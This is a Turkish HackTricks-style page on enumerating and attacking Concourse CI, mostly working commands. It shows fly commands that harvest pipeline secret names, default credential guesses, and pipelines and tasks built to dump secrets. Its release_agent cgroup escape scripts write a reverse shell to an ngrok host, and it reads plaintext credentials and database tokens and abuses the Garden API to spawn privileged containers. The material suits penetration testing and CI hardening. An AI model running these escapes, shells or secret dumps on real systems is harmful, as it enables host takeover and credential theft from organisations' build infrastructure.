Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Kullanıcı Rolleri & İzinler

Concourse beş rol ile gelir:

• Concourse Admin: Bu rol yalnızca ana takım (varsayılan başlangıç concourse takımı) sahiplerine verilir. Yöneticiler diğer takımları yapılandırabilir (örn.: fly set-team, fly destroy-team...). Bu rolün izinleri RBAC tarafından etkilenemez.

• sahip: Takım sahipleri takım içindeki her şeyi değiştirebilir.

• üye: Takım üyeleri takım varlıkları içinde okuma ve yazma yapabilir ancak takım ayarlarını değiştiremez.

• pipeline-operator: Pipeline operatörleri pipeline işlemleri gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler.

• görüntüleyici: Takım görüntüleyicileri bir takıma ve onun pipeline'larına "salt okunur" erişime sahiptir.

Ayrıca, sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Daha fazla bilgi için: https://concourse-ci.org/user-roles.html

Concourse'un pipeline'ları Takımlar içinde grupladığını unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline'ları yönetebilecektir ve birden fazla Takım var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir.

Vars & Credential Manager

YAML yapılandırmalarında değerleri ((_source-name_:_secret-path_._secret-field_)) sözdizimini kullanarak yapılandırabilirsiniz. Belgelerden: source-name isteğe bağlıdır, ve atlandığında, küme genel kimlik yöneticisi kullanılacaktır veya değer statik olarak sağlanabilir. isteğe bağlı _secret-field_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik yöneticisi, alan mevcutsa alınan kimlikten 'varsayılan alan' okumayı seçebilir. Ayrıca, secret-path ve secret-field . ve : gibi özel karakterler içeriyorsa çift tırnak "..." ile çevrilebilir. Örneğin, ((source:"my.secret"."field:1")) secret-path değerini my.secret ve secret-field değerini field:1 olarak ayarlayacaktır.

Statik Vars

Statik vars görev adımlarında belirtilebilir:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or using the following fly arguments:

• -v or --var NAME=VALUE değişken NAME için VALUE değerini ayarlar.

• -y or --yaml-var NAME=VALUE VALUE'yi YAML olarak ayrıştırır ve bunu değişken NAME için değer olarak ayarlar.

• -i or --instance-var NAME=VALUE VALUE'yi YAML olarak ayrıştırır ve bunu örnek değişken NAME için değer olarak ayarlar. Örnek değişkenler hakkında daha fazla bilgi için Grouping Pipelines sayfasına bakın.
• -l or --load-vars-from FILE FILE'yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar.

Credential Management

Bir Credential Manager'ın bir pipeline'da nasıl belirtileceği konusunda farklı yollar vardır, https://concourse-ci.org/creds.html adresinden okuyun. Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:

• The Vault credential manager
• The CredHub credential manager
• The AWS SSM credential manager
• The AWS Secrets Manager credential manager
• Kubernetes Credential Manager
• The Conjur credential manager
• Caching credentials
• Redacting credentials
• Retrying failed fetches

Eğer Concourse'a yazma erişiminiz varsa, bu sırları sızdırmak için işler oluşturabilirsiniz çünkü Concourse bunlara erişebilmelidir.

Concourse Enumeration

Bir concourse ortamını saymak için önce geçerli kimlik bilgilerini toplamanız veya muhtemelen bir .flyrc yapılandırma dosyasında bir kimlik doğrulama jetonu bulmanız gerekir.

Login and Current User enum

• Giriş yapmak için endpoint, takım adı (varsayılan main) ve kullanıcının ait olduğu takımı bilmeniz gerekir:

• fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

• Yapılandırılmış hedefleri alın:

• fly targets

• Yapılandırılmış hedef bağlantısının hala geçerli olup olmadığını kontrol edin:

• fly -t <target> status

• Belirtilen hedefe karşı kullanıcının rolünü alın:

• fly -t <target> userinfo

API jetonu varsayılan olarak $HOME/.flyrc dosyasında kaydedilir, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz.

Teams & Users

• Takımların bir listesini alın

• fly -t <target> teams

• Takım içindeki rolleri alın

• fly -t <target> get-team -n <team-name>

• Kullanıcıların bir listesini alın

• fly -t <target> active-users

Pipelines

• Listele pipeline'ları:

• fly -t <target> pipelines -a

• Pipeline yaml'ını al (hassas bilgiler tanımda bulunabilir):

• fly -t <target> get-pipeline -p <pipeline-name>

• Tüm pipeline yapılandırma beyan edilen değişkenlerini al

• for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

• Kullanılan tüm pipeline gizli adlarını al (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

• worker'ları listele:

• fly -t <target> workers

• container'ları listele:

• fly -t <target> containers

• build'leri listele (ne olduğunu görmek için):

• fly -t <target> builds

Concourse Saldırıları

Kimlik Bilgileri Kaba Kuvvet

• admin:admin

• test:test

Gizli Anahtarlar ve Parametrelerin Sıralanması

Önceki bölümde, pipeline tarafından kullanılan tüm gizli anahtarların isimlerini ve değişkenlerini nasıl alabileceğinizi gördük. Değişkenler hassas bilgiler içerebilir ve gizli anahtarların isimleri daha sonra çalmaya çalışmak için faydalı olacaktır.

Çalışan veya yakın zamanda çalışmış container içinde oturum

Yeterli ayrıcalıklara sahipseniz (üye rolü veya daha fazlası) pipeline'ları ve rolleri listeleyebilir ve sadece <pipeline>/<job> container'ında bir oturum açabilirsiniz:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Bu izinlerle şunları yapabilirsiniz:

• Konteynerin içindeki gizli bilgileri çalmak

• Düğüme kaçmaya çalışmak

• Cloud metadata uç noktasını (pod'dan ve mümkünse düğümden) sayım yapmak/suistimal etmek

Pipeline Oluşturma/Düzenleme

Yeterli ayrıcalıklara sahipseniz (üye rolü veya daha fazlası) yeni pipeline'lar oluşturabilir/düzenleyebilirsiniz. Bu örneğe bakın:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Yeni bir pipeline'ın değiştirilmesi/oluşturulması ile şunları yapabileceksiniz:

• Gizli bilgileri çalmak (onları dışa vurarak veya konteynere girip env komutunu çalıştırarak)

• Düğümden kaçmak (size yeterli ayrıcalıklar vererek - privileged: true)

• Bulut meta verisi uç noktasını listelemek/suistimal etmek (pod'dan ve düğümden)

• Oluşturulan pipeline'ı silmek

Özel Görev Çalıştırma

Bu, önceki yönteme benzer, ancak tamamen yeni bir pipeline'ı değiştirmek/oluşturmak yerine sadece özel bir görevi çalıştırabilirsiniz (bu muhtemelen çok daha gizli olacaktır):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))

fly -t tutorial execute --privileged --config task_config.yml

Yetkili görevden düğüme kaçış

Önceki bölümlerde concourse ile yetkili bir görevi nasıl çalıştıracağımızı gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermeyecek. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremeyeceksiniz, bu nedenle kaçış daha "karmaşık" olabilir.

Aşağıdaki PoC'de, bazı küçük değişikliklerle kaçış yapmak için release_agent'i kullanacağız:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Görmüş olabileceğiniz gibi, bu sadece bir normal release_agent kaçışı ve sadece düğümdeki cmd yolunu değiştirmek yeterlidir.

Bir Worker konteynerinden düğüme kaçış

Bu durum için küçük bir değişiklikle normal bir release_agent kaçışı yeterlidir:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Web konteynerinden node'a kaçış

Web konteynerinde bazı savunmalar devre dışı bırakılmış olsa bile, yaygın bir ayrıcalıklı konteyner olarak çalışmıyor (örneğin, mount yapamazsınız ve yetkiler çok sınırlıdır, bu nedenle konteynerden kaçmanın kolay yolları işe yaramaz).

Ancak, yerel kimlik bilgilerini düz metin olarak saklar:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Bu kimlik bilgilerini web sunucusuna giriş yapmak ve ayrılmış bir konteyner oluşturup düğüme kaçmak için kullanabilirsiniz.

Ortamda ayrıca concourse'un kullandığı postgresql örneğine erişim bilgilerini (adres, kullanıcı adı, şifre ve veritabanı gibi diğer bilgiler) bulabilirsiniz:

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil

Bu sadece hizmetle ilgili bazı ilginç notlar, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce zaten sömürdüğümüz bir etki sunmayacak.

Varsayılan olarak her concourse işçi, 7777 numaralı portta bir Garden hizmeti çalıştıracaktır. Bu hizmet, Web yöneticisi tarafından işçiye ne yapması gerektiğini belirtmek için kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:

• Sadece yerel olarak (127..0.0.1) açık ve bence işçi, özel SSH hizmeti ile Web'e kimlik doğrulaması yaptığında, web sunucusunun her işçi içindeki her Garden hizmeti ile konuşabilmesi için bir tünel oluşturuluyor.

• Web sunucusu, her birkaç saniyede bir çalışan konteynerleri izliyor ve beklenmeyen konteynerler siliniyor. Bu nedenle, özel bir konteyner çalıştırmak istiyorsanız, web sunucusu ile garden hizmeti arasındaki iletişimi bozmanız gerekiyor.

Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Ancak, düğümün /dev cihazını veya release_agent'i kullanmak (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir tane var) çalışmayacak. Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor.

Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle eğer mevcut işçi tarafından oluşturulan bir ayrıcalıklı konteynerde komutları çalıştırabilirsek, düğüme kaçabiliriz.

Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi.

Çalışan bir ayrıcalıklı konteynere girmek

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Yeni bir ayrıcalıklı konteyner oluşturma

Yeni bir konteyner oluşturmak çok kolaydır (rastgele bir UID çalıştırın) ve üzerinde bir şey çalıştırabilirsiniz:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Ancak, web sunucusu her birkaç saniyede bir çalışan konteynerleri kontrol ediyor ve eğer beklenmedik bir tane keşfedilirse, silinecektir. İletişim HTTP üzerinden gerçekleştiği için, beklenmedik konteynerlerin silinmesini önlemek için iletişimi değiştirebilirsiniz:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referanslar

• https://concourse-ci.org/vars.html

AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.